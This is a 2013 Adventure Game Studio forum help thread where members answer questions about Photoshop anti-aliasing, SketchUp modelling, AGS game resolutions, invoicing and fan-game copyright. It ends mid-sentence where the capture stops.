Have you tried updating your Flash player? It's definitely not Kickstarter's fault because everything works fine for me, in FF as well as Chrome.
Title: Re: Ask something - We can help.
Post by: Anian on Fri 31/05/2013 12:42:14
Quote from: Khris on Fri 31/05/2013 12:38:15
Have you tried updating your Flash player? It's definitely not Kickstarter's fault because everything works fine for me, in FF as well as Chrome.
I've checked the version already and it's the latest.
Title: Re: Ask something - We can help.
Post by: Khris on Fri 31/05/2013 15:38:04
Do you have a second Windows account on the same computer? Or try the guest account. Maybe it's due to some account specific setting.
Title: Re: Ask something - We can help.
Post by: Anian on Fri 31/05/2013 15:54:46
Quote from: Khris on Fri 31/05/2013 15:38:04
Do you have a second Windows account on the same computer? Or try the guest account. Maybe it's due to some account specific setting.
Well if it's that, I'll probably leave it (nothing but trouble with multiple accounts in my experience). Since it's just Kickstarter, that's probably not that though, but thanks for the suggestions.

EDIT: well for some reason, today KS decided it will show the videos...for some reason.
Title: Re: Ask something - We can help.
Post by: MiteWiseacreLives! on Mon 03/06/2013 18:34:18
You guys know of any way to restore to a previous save on a file?  Twice now I've gone a long ways into the same background and while saving the program crashed and destroyed the file. ARRRGGG!
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Wed 05/06/2013 22:32:12
I hate photoshop! Help me!

Once again, I'm baffled by Photoshop's weird behaviours at pixel-level. And I'm unable to find why it's acting like that.

I have Photoshop CS3. I've selected an area of a layer, using the magic wand and then finishing with the lasso. The "anti-alias" box is unticked. The tolerance is 0.

Then, I hit "del" to erase what's in the selected area.

That's where trouble kicks in: Despite "anti-alias" being unticked, it seems like Photoshop tries to smooth the deletion, and erases pixels OUTSIDE the selected area (some pixels located at the selected area's border, in every place there is dithering).
Additionally, it doesn't completely delete those extra-pixels. It just increases their transparency a little more every time I hit "del".

So, how do I make Photoshop strictly delete the pixels I've selected, all of them, only them, and completely? Like in any regular drawing application?

Title: Re: Ask something - We can help.
Post by: Andail on Wed 05/06/2013 22:36:06
Did you you uncheck the aa box before drawing the mask?
Title: Re: Ask something - We can help.
Post by: Anian on Wed 05/06/2013 22:58:41
Quote from: Andail on Wed 05/06/2013 22:36:06
Did you you uncheck the aa box before drawing the mask?
Yeah, that might be why.

Also, just additional info, you have options of Brush and Pen (Pen is of course for pixel art), but to erase you choose the eraser then change the Mode to Pencil in order to delete with a sharp edge.
Title: Re: Ask something - We can help.
Post by: LimpingFish on Wed 05/06/2013 23:21:29
Would having Feathered selections (not sure it that's officially the term) have something to do with it?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Thu 06/06/2013 08:05:17
Quote from: Andail on Wed 05/06/2013 22:36:06
Did you you uncheck the aa box before drawing the mask?
Oh yes, you're right, maybe i didn't do it in the correct order. I've been searching for the cause of the issue and tried many things so it got a bit mixed up.
But I had no idea the order was important, since in photoshop a lot of things are calculated on-the-fly (like the dropped shadows, etc.). Thus I thought one first drew the pixel-perfect outline and then Photoshop would do the corresponding processing depending on whether or not the box is ticked.

Quote from: Anian on Wed 05/06/2013 22:58:41
you have options of Brush and Pen (Pen is of course for pixel art), but to erase you choose the eraser then change the Mode to Pencil in order to delete with a sharp edge.
That's probably the reason!!!
That's why I hate photoshop: the interface isn't consistent with itself. So, when you want to draw the tool selection (brush or pencil) is in the main toolbar, but when you want to erase, there is a third tool (eraser) but it's redundant to the two others -- since you still have to select the mode, except this time you must choose the behaviour in the top-hand bar. AAAaaaargh!

Thanks a lot, that's a life saver.

Title: Re: Ask something - We can help.
Post by: Anian on Thu 06/06/2013 08:19:54
Yeah this might be a bit confusing, but I think it was made so it's more accessible over keyboard shortcuts because it's mostly made for working on photographs and well it's interface clunkiness is nothing compared to Illustrator, with the Live Paint options and using the Knife tool etc. that's a freaking mess of some internal logic.
Title: Re: Ask something - We can help.
Post by: MiteWiseacreLives! on Thu 06/06/2013 08:31:06
Just in case anyone is concerned about *my* problem >:(
After like the sixth time Artgem crashed while saving, I found I could take a screen shot and paste at least a bunch of my work into paint (including a nicely bordered "Windows has encountered a serious error" box). Saved me much frustration, for reference although no one uses Artgem...
Title: Re: Ask something - We can help.
Post by: Ghost on Thu 06/06/2013 18:48:00
Help plz. I stumbled over a clip video while looking for an old Alice Cooper song. I realised that I can identify roughly 95% of the movies used to make this video. I am in hot pursuit of the remaining 5%.

Does someone recognise the movie clip shown at 0.25? I thought it was Clockwork Orange but it's been ages since I saw that one. Wouldn't fit with the theme, though.

[edit]

Question NOW with actual link to video  :-[

http://www.youtube.com/watch?v=tuGs3R-Tpfk
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on Thu 06/06/2013 18:53:17
You forgot the video link! :)
Title: Re: Ask something - We can help.
Post by: Khris on Thu 06/06/2013 19:00:13
I'm roughly 95% sure that's Clockwork Orange ;)
Title: Re: Ask something - We can help.
Post by: Atelier on Thu 06/06/2013 19:02:51
Screen-shotted and did search by image - it is Clockwork Orange!
Title: Re: Ask something - We can help.
Post by: Ghost on Thu 06/06/2013 19:17:18
Oh man. Now I feel stupid. Still, cool song. Thanks!  :P
Title: Re: Ask something - We can help.
Post by: Anian on Thu 06/06/2013 19:37:26
Quote from: MiteWiseacreLives! on Thu 06/06/2013 08:31:06
Just in case anyone is concerned about *my* problem >:(
After like the sixth time Artgem crashed while saving, I found I could take a screen shot and paste at least a bunch of my work into paint (including a nicely bordered "Windows has encountered a serious error" box). Saved me much frustration, for reference although no one uses Artgem...
Well, you haven't actually said this happens to you in Artgem. I think InCreator and some other folks work in Artgem, so they might know, in general though, since it seems to be unstable on your OS, maybe change to ASE sprite editor, GIMP, Grafx2 or something similar?
Title: Re: Ask something - We can help.
Post by: selmiak on Thu 06/06/2013 22:13:52
@Ghost: 100% sure it's clockwork orange. Alex breaking into the house of the cat lady and killing her with one of the huge porcellaine phalluses...
Title: Re: Ask something - We can help.
Post by: MiteWiseacreLives! on Fri 07/06/2013 21:04:10
Yah Anian.. your probably right , maybe my harddrive is failing ??
Title: Re: Ask something - We can help.
Post by: Snarky on Fri 07/06/2013 22:09:04
Quote from: Monsieur OUXX on Thu 06/06/2013 08:05:17
Quote from: Andail on Wed 05/06/2013 22:36:06
Did you you uncheck the aa box before drawing the mask?
Oh yes, you're right, maybe i didn't do it in the correct order. I've been searching for the cause of the issue and tried many things so it got a bit mixed up.
But I had no idea the order was important, since in photoshop a lot of things are calculated on-the-fly (like the dropped shadows, etc.). Thus I thought one first drew the pixel-perfect outline and then Photoshop would do the corresponding processing depending on whether or not the box is ticked.

Although Photoshop shows the selection as a "pixel-perfect" outline, that's just for display. The actual selection is made as you select, and can cover pixels partially, but the outline just marks pixels that are more than 50% selected. It's all done on the fly, so yeah, you have to set anti-aliasing the way you want it before you draw your selection. (It can sometimes be useful to turn the anti-aliasing options on and off as you're creating the selection, so some parts are anti-aliased and some are not.) With the "refine edge" option you can see which parts are fully and partially selected, and edit it further using filters etc. If you are deleting regions, it can also sometimes be useful to use layer masks rather than just raw selections.
Title: Re: Ask something - We can help.
Post by: on Mon 24/06/2013 16:14:57
Has anyone heard/experienced EXE's not loading with Win 7, particularly large ones (up to 1gb) - or freezing the OS on attempting to run/right click it? In this particular case it's an install file. I haven't found much about it and don't use Win 7 but I've been asked again recently and thought I'd ask amongst expert EXE clickers :) Thanks!
Title: Re: Ask something - We can help.
Post by: Ghost on Mon 24/06/2013 16:21:01
Quote from: Mods on Mon 24/06/2013 16:14:57
Has anyone heard/experienced EXE's not loading with Win 7, particularly large ones (up to 1gb)

I had that with the Fallout3 expansions. Their exe is huge (over 1 Gig actually) and the system "froze" when I ran them.
I chalked it up to the DVD Drive and copied the file to disk to run it from there- again, system froze: but after a good ten minutes the file WAS executed.
Win7 on a 2.4 Dualcore with 4Gig of RAM.
Title: Re: Ask something - We can help.
Post by: arj0n on Mon 24/06/2013 16:21:18
Quote from: Mods on Mon 24/06/2013 16:14:57
Has anyone heard/experienced EXE's not loading with Win 7, particularly large ones (up to 1gb) - or freezing the OS on attempting to run/right click it? In this particular case it's an install file. I haven't found much about it and don't use Win 7 but I've been asked again recently and thought I'd ask amongst expert EXE clickers :) Thanks!
Sometimes it might help to run the exe as admin (rightmousebutton) instead of just clicking them with the left mousebutton.
Title: Re: Ask something - We can help.
Post by: on Mon 24/06/2013 16:37:45
Thanks. You made me think it could be as simple as lack of space on HDD perhaps. Basically when trying to reach that right click 'run as' menu it's freezing this persons Explorer window or such. This isn't documented via google search in any capacity and I've not heard of it beyond these couple of contacts. I saw slightly similar symptoms from a virus once, but then all EXE's became unavailable to open. Not sure why just this one would (and it's worked fine for plenty of other people many of which on Win 7 I think). Strange one. Cheers Arjon!
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Fri 28/06/2013 04:09:26
I'm currently using Unity making a 3D test game for experimenting and learning. I have a question that I'm not sure what is appropriate. If you were to have a bunch of game objects, would it better to have each object with their own texture, or should I group textures with similar objects.

For instance if I made a desk and bookshelf that might show up in other rooms together, or sometimes separate, would I be better off grouping those two textures together, or having each separate?
Title: Re: Ask something - We can help.
Post by: Theme on Fri 28/06/2013 06:51:26
Quote from: Ryan Timothy on Fri 28/06/2013 04:09:26
I'm currently using Unity making a 3D test game for experimenting and learning. I have a question that I'm not sure what is appropriate. If you were to have a bunch of game objects, would it better to have each object with their own texture, or should I group textures with similar objects.

For instance if I made a desk and bookshelf that might show up in other rooms together, or sometimes separate, would I be better off grouping those two textures together, or having each separate?

It depends on the texture resolution quality you want. the bigger the texture, more ram it gets. But if the quality of the texture is ok for for both objects texture in one image them I guess it's better than have two textures loaded up in memory. But yah, grouping is ok.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 28/06/2013 19:41:26
Where's that recent thread about drawing and animation tools?

Hi all,

Very recently (one month ago at most?) there was a discussion that digressed into all the cool tools to draw in low-res and to animate.
The big advantage is that it was pointing to very modern and recent tools (unlike the sticky thread in the Critics Lounge subforum, that is very very old).

The thing is, I can't find that thread. Was it in Critics Lounge? Somewhere else? I promised myself I wouldn't lose it, but I did.
Title: Re: Ask something - We can help.
Post by: Khris on Fri 28/06/2013 19:43:29
This one?
http://www.adventuregamestudio.co.uk/forums/index.php?topic=47860.0
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Fri 28/06/2013 21:24:40
Quote from: Khris on Fri 28/06/2013 19:43:29
http://www.adventuregamestudio.co.uk/forums/index.php?topic=47860.0

Yes! Thanks!
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Sat 29/06/2013 11:17:24
Photoshop: how to have only 100% opaque and 100% transparent pixels?

I'm looking for a process to do that as quickly as possible on as many layers as possible :
- I created an animation in Photoshop
- each frame is made of several layers
- each layer contains mostly 100% opaque pixels, surrounded by 100% transparent pixels BUT at the border there are some pixels that aren't 100% opaque. I want to make them 100% opaque or 100% transparent (and, only if possible , based on a threshold: less than 50% opaque becomes 0% opaque, more than 50% opaque becomes 100% opaque)

I don't know what's the best way to do that.
What would be amazing: if it were possible to do it at once for all visible layers (using the "merged" color of a pixel rather than the individual color of that pixel in each layer). But that would be asking too much... ;)

Title: Re: Ask something - We can help.
Post by: Anian on Sat 29/06/2013 11:56:27
Monsieur, are you talking about Anti-alias settings?

Instead of Brush tool, use Pencil tool with 100% Hardness - if you're drawing Pencil tool is under the Brush tool icon (a sub-menu thing), but if you're using the Eraser then choose the Eraser tool and then in the horizontal menu where you set it up, there should be a drop-down menu and there choose Pencil, again 100% Hardness). Why they have different methods of setting this up? I don't know.
If you're painting using Marque Tool - put 0 px Feather and if it's a round Marque Tool put 0px Feather and un-check the Anti-alias box (it's right next to it).

Bad news is, I tried something now to make sure, Photoshop will keep that anti-alias edges even if you pull some tricks with selection and erasing. You can for example make a slightly bigger Circle Marque selection (with those 0px Feather and un-check anti-alias) around an already drawn circle and then fill it in, but I doubt were talking one circle here. So there is no way to fix except with redrawing.
Photoshop is mostly made for photograph editing, so pixel precise thing is not that developed (although you could do it with the settings I just gave you above).
Title: Re: Ask something - We can help.
Post by: Khris on Sat 29/06/2013 11:59:36
There should be a way to edit the alpha channel and then basically just up the contrast, turning 0-49% transparency to 0% and the rest to 100%.
Title: Re: Ask something - We can help.
Post by: Anian on Sat 29/06/2013 12:17:02
Quote from: Khris on Sat 29/06/2013 11:59:36
There should be a way to edit the alpha channel and then basically just up the contrast, turning 0-49% transparency to 0% and the rest to 100%.
Thing is that anti-alias is sort of built-in into an image (Photoshop does it independently of what you're doing to the colors and such), so it's a real hassle to really remove it.

If you use Image>Adjustment>Threshold you need to carefully adjust the settings and you'll probably get a black and white image and even then, threshold sometimes eats up pixel where it's not supposed to.
You can make a mask from thresholded selection:
1 what you can do I think is Ctrl and click on a layer (make it selected),
2 now go to Channel tab and make a new Channel (so it's black and white),
3 use Threshold on that layer in the Channel tab
4 now select everything in that channel (Ctrl+A) and Ctrl+C (copy) and then go to Layers tab again,
5 click on that layer in Layers tab which we wanted to remove the anti-alias from and at the bottom there is an Add Layer Mask button
6 now Alt+click on that new icon we got in the layer we want to mask/remove anti-alias from (screen should go all white or black now, that's ok) and Ctrl+V the selection from before
7 you can now right click on the mask (in the Layer tab) and select to Apply mask

But again this method would probably not produce exact shapes, which might be a problem in pixel art.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Sat 29/06/2013 15:10:43
Quote from: Anian on Sat 29/06/2013 11:56:27
Monsieur, are you talking about Anti-alias settings?

No. :) Your post actually answers questions I asked a few weeks ago (just a little bit earlier in that very same thread).


I'll try to test with the alpha channel and the threshold setting, to see if it's possible.
In Google I've found a handful of people talking about the magic wand having a setting allowing to choose between "similar colors", "similar luminosity", and why not "similar transparency" but I can't find that setting, so I don't know if it exists in my Photoshop (CS3) or even if it's a fantasy.
Title: Re: Ask something - We can help.
Post by: Snarky on Sat 29/06/2013 16:35:46
What I'd do is make a copy of the layer where you want to un-antialias the edges, then darken it repeatedly (using brightness/contrast and levels) until it's completely black, without affecting the alpha. Then put it on top of a white layer and merge them together. Then threshold at 50%. Then invert. This is your mask that you can use to make all <50% opaque pixels completely transparent.

There's no real good way to make partially transparent pixels 100% opaque (though this thread (http://forums.adobe.com/thread/416432) talks about a "Filter Factory" plug-in that can do it); the best way is to duplicate the layer and merge the two copies. This cuts transparency in half (Edit: actually, it reduces it by the square: from 50% to 50%*50% = 25%, but from 25% to 25%*25%=6.25%, to 0.39%, to essentially 0), and if you do that 10 4 times it should round it down to 0 on anything more than 50% opaque to begin with. You could program it as an action if you need to do it on several layers.

Then you apply your mask to the multi-merged layer, and you should be set!
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on Sun 30/06/2013 07:41:14
Quote from: Snarky on Sat 29/06/2013 16:35:46
What I'd do is ...

Thanks a lot Snarky!!!
Title: Re: Ask something - We can help.
Post by: on Fri 05/07/2013 04:38:49
A game/book whatever you wish ;) is sold by companies A, B, C and D. At the end of the month, all companies send a sales report. Companies A, B and C then send the payment.

However, company D asks for me to invoice them before they can send payment.

Why is this?

Not a trick question or anything, I'm genuinely confused why it applies to one company but none of the others. I suppose it may just be country related or I may just be stoopid... If you may know why this is necessary with some but not others please help! Thank you :)
Title: Re: Ask something - We can help.
Post by: AGA on Fri 05/07/2013 10:44:42
I think it just depends how their accounting team keep records, or possibly the country's tax office's requirements.  My employer will certainly ask for an invoice before paying.
Title: Re: Ask something - We can help.
Post by: on Fri 05/07/2013 16:05:59
Ok sounds right. How do you do that please Berian? How do you invoice them? An email? A paypal invoice request? etc?
Title: Re: Ask something - We can help.
Post by: RickJ on Fri 05/07/2013 16:19:27
Mark, Probably the best thing to do is to contact their accounts payable, preferably the person who will be processing your invoice, ask them exactly what they want, in what form, and who's ATTN: it should be directed. 
Title: Re: Ask something - We can help.
Post by: AGA on Fri 05/07/2013 16:37:50
I'll send you a PM with the AdventureX invoice I paid last year.  Quite a good (and appropriate!) example.

But yeah, what Rick says would probably be most useful.
Title: Re: Ask something - We can help.
Post by: on Fri 05/07/2013 16:43:37
Thanks! But thats YOU paying THEM, not THEM paying YOU :) isn't it? ohh confuuused... hehe

edit: Tho your example gives me something to go from, cheers
Title: Re: Ask something - We can help.
Post by: Eric on Sat 06/07/2013 04:52:51
I've been learning to use Sketchup to design a boat for a project for which I need a consistent model, and am having some issues. First off, here's the boat (http://i.imgur.com/4iyQmmf.jpg). In that last view of it, from the back, you might be able to discern some weird coloration.

This is what the back looks like from the inside of the hull (http://i.imgur.com/RAtIyaW.jpg). I've been saving drafts, but unfortunately didn't notice this until I was four or five iterations down the road. I've tried using the pencil tool to make planes out of these areas, but it doesn't seem to work. Anyone have any advice on what is going on / whether it's fixable?
Title: Re: Ask something - We can help.
Post by: Anian on Sat 06/07/2013 13:06:14
Quote from: Eric on Sat 06/07/2013 04:52:51
I've been learning to use Sketchup to design a boat for a project for which I need a consistent model, and am having some issues. First off, here's the boat (http://i.imgur.com/4iyQmmf.jpg). In that last view of it, from the back, you might be able to discern some weird coloration.

This is what the back looks like from the inside of the hull (http://i.imgur.com/RAtIyaW.jpg). I've been saving drafts, but unfortunately didn't notice this until I was four or five iterations down the road. I've tried using the pencil tool to make planes out of these areas, but it doesn't seem to work. Anyone have any advice on what is going on / whether it's fixable?
Well that second picture I kind of have an idea what angle I'm looking at but not very. :grin: If you want, PM me and send me the SketchUp file and I'll look it over a bit.

Practical advice - when something is far away or will be visible from an angle, you can make whatever you want, BUT when doing something like this, which I'm guessing will be looked at closely, or practising modelling, then you have to be careful. From what I can see, there's at least one part of the back where you have multiple surfaces clashing (often a SketchUp thing) - all that purple stuff is SketchUp being unable to figure out which of the surfaces that are intersecting do you want see in the camera. I suggest clicking on the surface of the back of the boat and delete the surface, then resurface that area carefully manually.

3d and SketchUp especially have trouble with the number of corners/sides of any surface, yes you can model it, but smoothing and renderers will have trouble with it. Ideally it's a four (you still have to be careful with four, but it's kind of a standard) or triangles (often used in 3d games) surface, it's a good habit to look at surfaces in that way and decide how to split them up so everything is clear.
SketchUp can make curved lines, but unless it's a simple extruded shape, you'll run into trouble. Control the numbers, start from something minimal you need for a shape (ie instead of a circle, make it an octogon), then add detail. I've quickly drawn what I mean http://i.imgur.com/7g7ECBI.jpg

Second thing would be making stuff like that hull - with actual thickness. Usually 3d software can mark surfaces as "double sided", but rendering it is trouble. Renderes calculate light photons bouncing of stuff, in theory, but unless it's a closed surface / object, like a cube (which is 6 connected surfaces facing each other), the renderer will not know if he's looking at the outside or the inside.
SketchUp definitely has that "outside" (white side) and "inside" (gray, or maybe purple, side) part of the surfaces. In SketchUp you don't create 3d models, you create something similar to a husk/balloon, stuff inside doesn't actually have anything, it's hollow. On the white sides you put things that will be seen (like textures), but DO NOT expose the gray sides to the camera (or do and see what actually happens).
Plus when you have a thickness, some stuff won't be instantly visible on the other side if you incorrectly place objects.
Title: Re: Ask something - We can help.
Post by: Eric on Sat 06/07/2013 14:56:45
Quote from: Anian on Sat 06/07/2013 13:06:14I suggest clicking on the surface of the back of the boat and delete the surface, then resurface that area carefully manually.

Thank you, Anian! I'm going to try this this afternoon with the plan you've provided. Ironically, if I'd approached this more like building an actual boat instead of a 3D model, that's what it should have looked like anyway (using the shape of boards).
Title: Re: Ask something - We can help.
Post by: Anian on Sat 06/07/2013 17:39:51
Quote from: Eric on Sat 06/07/2013 14:56:45Thank you, Anian! I'm going to try this this afternoon with the plan you've provided. Ironically, if I'd approached this more like building an actual boat instead of a 3D model, that's what it should have looked like anyway (using the shape of boards).
Yes, more than often it's very useful to copy the way things are built IRL. (I'm not being sarcastic or anything, understanding to see the way objects are comprised of simpler structures, which is even more true for 2d drawing, and remembering to go from simpler to more details is crucial)
Title: Re: Ask something - We can help.
Post by: Jaffles on Sun 07/07/2013 16:41:26
Hey guys! So I've been messing around in Inkscape lately, and unfortunately images made with Inkscape come with automatic anti-aliasing, so when I import into GiMP I get something like this

(http://i673.photobucket.com/albums/vv95/tubbabubba12/example_zpse6eda9ed.png)

And when I try to import that into AGS I get something really nasty looking due to the semi-transparent pixels on the outline. Is there any way I can get something like this to import well into AGS? Or am I barking up the wrong tree?
Title: Re: Ask something - We can help.
Post by: Anian on Sun 07/07/2013 18:51:37
I don't know about Inkscape/Gimp, but might there be some way of taking/exporting paths from Inkscape then opening them in Gimp?
Title: Re: Ask something - We can help.
Post by: Jaffles on Sun 07/07/2013 23:03:58
There is in fact, that's exactly how I've got this image drawn: Paths in inkscape ported into gimp and colored. When you stroke the paths in GiMP you do get the choice to turn on/off the antialiasing, but 1 pixel thick with no anti-aliasing has lots of staircases and other undesirable things.


(http://i673.photobucket.com/albums/vv95/tubbabubba12/CharlieNinerAntialias_zpsf26e0228.png)

This^ Is what I have with antialiasing on, and I like the way this looks, but is there any way to get this to import well into AGS? Or is it impossible without removing the antialiasing on the outside? (Which severely messes up the image unfortunately)

Title: Re: Ask something - We can help.
Post by: Snarky on Sun 07/07/2013 23:34:51
Yeah, sure there is. Save the sprites in PNG with transparent background. Your game needs to be 32 bit, and when you import the sprites, say you want to use the alpha channel from the image.
Title: Re: Ask something - We can help.
Post by: Jaffles on Sun 07/07/2013 23:54:17
http://www.youtube.com/watch?v=UxgXfVZ4qIA

^allow this to inform my reaction.

Thanks guys!

EDIT: Actually, I've got another question. I'm thinking about making a game with one of AGS's larger resolutions. The editor warns me this will balloon the file size and system requirements for the game. Is this a major concern, or should the majority of PC's still be fine?
Title: Re: Ask something - We can help.
Post by: Jaffles on Tue 09/07/2013 23:52:44
I hate to double post, but I'm worried nobody noticed my addendum:

Quote from: Jaffles on Sun 07/07/2013 23:54:17

Actually, I've got another question. I'm thinking about making a game with one of AGS's larger resolutions. The editor warns me this will balloon the file size and system requirements for the game. Is this a major concern, or should the majority of PC's still be fine?
Title: Re: Ask something - We can help.
Post by: Adeel on Wed 10/07/2013 14:02:37
Quote from: Jaffles on Sun 07/07/2013 23:54:17
Actually, I've got another question. I'm thinking about making a game with one of AGS's larger resolutions. The editor warns me this will balloon the file size and system requirements for the game. Is this a major concern, or should the majority of PC's still be fine?
No, that'll not be a much problem especially now-a-days. But yes, the file size will be HUGE !!! But that depends upon the number, length and format of music tracks you used. You'll also need to turn anti-aliasing off. Also, you'll need a good file-compressor to reduce the size.

However, as the editor states: It'll not run smoothly on slower machines. Especially those having lower RAMS and/or Caches.

While now-a-days many people have fast machines, you can't expect EVERYONE to own a fast machine and that's where the real problem comes, i.e, limited audience. Plus, your own machine should be fast enough to handle the large backgrounds, large music files etc.

One game that comes to my mind which uses the larger resolution is: Barely Floating (mind you, its the first "HD" AGS Game) (http://www.adventuregamestudio.co.uk/site/games/game/1597/). You can download and play it to see how much it affects/consumes memory of your pc.
Title: Re: Ask something - We can help.
Post by: Jaffles on Wed 10/07/2013 17:08:35
Cool, thanks for the info. We'll probably stick to low res, since limiting our audience is the last thing we want to do.
Title: Re: Ask something - We can help.
Post by: Adeel on Wed 10/07/2013 22:15:10
Quote from: Jaffles on Wed 10/07/2013 17:08:35
Cool, thanks for the info. We'll probably stick to low res, since limiting our audience is the last thing we want to do.

You are welcome. :) According to my careful assumption, you may try 1024 x 768 resolution. Hence your game may have larger resolution. The audience is not limited in that case. However, 800 x 600 is more common among the developers as a higher res.

Actually I also have a slower machine and that's why I were first turned off by the amount of memory Barely Floating (http://www.adventuregamestudio.co.uk/site/games/game/1597/) consumed (because of its larger resolution). Moreover, there wasn't the usual winsetup.exe. Instead, it was the designer's self designed window which despite being cool, limits the power to tweak the settings as per your wish (wrong).

After tweaking with acsetup.cfg, I found that anti-aliasing was the major factor behind the enormous memory consumption and when it was turned off, the game run much smoothly.

Therefore, I suggest you not to use this option if you already have quality backgrounds. Best of luck for your future game :).
Title: Re: Ask something - We can help.
Post by: Jaffles on Thu 11/07/2013 03:27:56
Thanks! Luckily I've been doing lots of work with vector graphics, so flip flopping between resolutions hasn't been disastrous.

Yeah, my decrepit PC can't even run Barely Floating (Direct 3D isn't supported by my graphics card, lol), but it's run other high resolution AGS Games like Skumring and Witchy Woo just fine, so a higher resolution may not actually be off the table.
Title: Re: Ask something - We can help.
Post by: Adeel on Thu 11/07/2013 10:45:15
Quote from: Jaffles on Thu 11/07/2013 03:27:56
[...] but it's run other high resolution AGS Games like Skumring and Witchy Woo just fine, so a higher resolution may not actually be off the table.

Just out of curiosity, what is the resolution the above two mentioned games use? Surely, they are not using 1280x720? Secondly, a game with higher resolutions + Direct 3D either forces the computer to slow down or even doesn't run. Barely Floating is a very nice game however it requires a fast machine.
Title: Re: Ask something - We can help.
Post by: Jaffles on Thu 11/07/2013 20:15:56
Quote from: Adeel S. Ahmed on Thu 11/07/2013 10:45:15
Quote from: Jaffles on Thu 11/07/2013 03:27:56
[...] but it's run other high resolution AGS Games like Skumring and Witchy Woo just fine, so a higher resolution may not actually be off the table.

Just out of curiosity, what is the resolution the above two mentioned games use? Surely, they are not using 1280x720? Secondly, a game with higher resolutions + Direct 3D either forces the computer to slow down or even doesn't run. Barely Floating is a very nice game however it requires a fast machine.

Skumring is 800x600 and Witch Woo is 1024x768 I believe
Title: Re: Ask something - We can help.
Post by: Gilbert on Fri 12/07/2013 02:55:15
Another problem is whether you want people to play your games on different platforms. If it's targeted for most desktop systems then it's okay to use 1024x768 max as there are still a number of people using that resolution nowadays. For example, this is the max... err... native resolution of this crappy LCD I'm using at work, whereas I am using a CRT at home which best displays 1024x768(it can do 1280x1024 max. but the quality isn't that good).

If you want your games also playable on mobile devices, then actually even many mid to semi-high range devices use something like 800x480 (http://en.wikipedia.org/wiki/List_of_mobile_phones_with_WVGA_display). In that case, even 800x600 is overkill, and thus 640x480 seems optimal.
Title: Re: Ask something - We can help.
Post by: Adeel on Fri 12/07/2013 10:48:25
Quote from: Iceboty V7000a on Fri 12/07/2013 02:55:15
[...] If it's targeted for most desktop systems then it's okay to use 1024x768 max as there are still a number of people using that resolution nowadays. [...]
[...] If you want your games also playable on mobile devices, then actually even many mid to semi-high range devices use something like 800x480 (http://en.wikipedia.org/wiki/List_of_mobile_phones_with_WVGA_display). In that case, even 800x600 is overkill, and thus 640x480 seems optimal.

   I agree with Iceboty V7000a. However, if mobile audience is your prime target then I'd suggest to go for 320 x 200 resolution. I also use 1024 x 768 resolution for my desktop computer.

Quote from: Iceboty V7000a on Fri 12/07/2013 02:55:15
[...] For example, this is the max... err... native resolution of this crappy LCD I'm using at work, whereas I am using a CRT at home which best displays 1024x768(it can do 1280x1024 max. but the quality isn't that good). [...]

In my opinion, CRT is better than LCD (even though LCD display is somewhat "soft" to eyes). I am using a Dell CRT (Manufactured in September 1999) and it displays 1024 x 768 resolution best.
Title: Re: Ask something - We can help.
Post by: Adeel on Fri 12/07/2013 11:16:29
Spoiler
Sorry for the double post but I have a question and thought to keep it clean.
[close]
    There is this project, BudLee (http://www.adventuregamestudio.co.uk/forums/index.php?topic=48567.0) wants to contribute to anyone who picks it up. It is a Larry Fan Game. As I have an interest in Larry Games so I thought to take over this project. He has drawn 4 backgrounds and have taken some objects from RPGMaker. That's okay, I guess. But he has taken (or ripped, to be precise) characters from a mobile Larry game which I believe was a commercial release.

    So, I am wondering whether it will be okay to release this game as a fan game for free or can I release it as commercial too?

    Another question is that I think I can get sued for making my fan game commercial; am I right? If yes then will I still be sued even if I release the game for free?

Thanks in advance.
Title: Re: Ask something - We can help.
Post by: arj0n on Fri 12/07/2013 13:00:43
Quote from: Adeel S. Ahmed on Fri 12/07/2013 11:16:29
But he has taken (or ripped, to be precise) characters from a mobile Larry game which I believe was a commercial release.

So, I am wondering (...) can I release it as commercial too?
A commercial game with ripped graphics from a commercial game?  (wrong)
Title: Re: Ask something - We can help.
Post by: Adeel on Fri 12/07/2013 14:02:06
That's what I thought that it shouldn't be commercial. So, will it be okay if the game is released as a fan game for free?

I am asking this because I don't want to start working on the game without proper knowledge first.
Title: Re: Ask something - We can help.
Post by: Khris on Fri 12/07/2013 17:43:20
I'll give you my opinion, since I'm not a lawyer: afaik, Sierra has always been very lenient with these kinds of things. AGD / Tierra / Infamous Adventures were making all these remakes of Sierra IP, and they never ran into serious trouble, afaik.

Going commercial is a different thing, but a free fangame using Larry should be fine. I wouldn't use sprites that are clearly ripped from a commercial game without asking though.
Title: Re: Ask something - We can help.
Post by: Adeel on Fri 12/07/2013 17:47:33
Okay. In that case, where can I ask them?

EDIT: I think I should recruit an artist and/or animator so that the sprites would be redrawn and animated. In either case, which path should I follow?

1) Ask Permission from Sierra to use their Mobile Game Sprites
2) Allow the fine artists and animators to re-draw the whole sprites from scratch.
Title: Re: Ask something - We can help.
Post by: Snarky on Fri 12/07/2013 17:58:45
On the other hand, The Silver Lining did run into problems, and was almost forced to shut down.

Another point is that the Leisure Suit Larry license is has remained more active than most of the other Sierra series, what with those crappy 3D games and now the remake of LSL1 just released. It's owned by Activision, so they're the ones you would have to get in touch with. I don't think you'll have much luck, though. It would probably be easier to just go ahead and take the risk of a cease-and-desist.
Title: Re: Ask something - We can help.
Post by: Adeel on Fri 12/07/2013 18:06:46
Yes, I don't like 3D Larry too.

Quote from: Snarky on Fri 12/07/2013 17:58:45I don't think you'll have much luck, though. It would probably be easier to just go ahead and take the risk of a cease-and-desist.

The amount of time spent and dedication on this project is going huge. But it will not be of any worth if we have to put the game down :(. Sadly, I will have to abandon this project...

But I am happy that I asked you all first. In this way, I don't have much regret.
Title: Re: Ask something - We can help.
Post by: Snarky on Fri 12/07/2013 19:01:51
As everyone always says, don't start out trying to make a huge game. Even a short little game is surprisingly time-consuming to make, and the practice will give you a better sense of what you can and cannot do.

That said, there's nothing stopping you from making a LSL-like game, just with a different main character. What about...

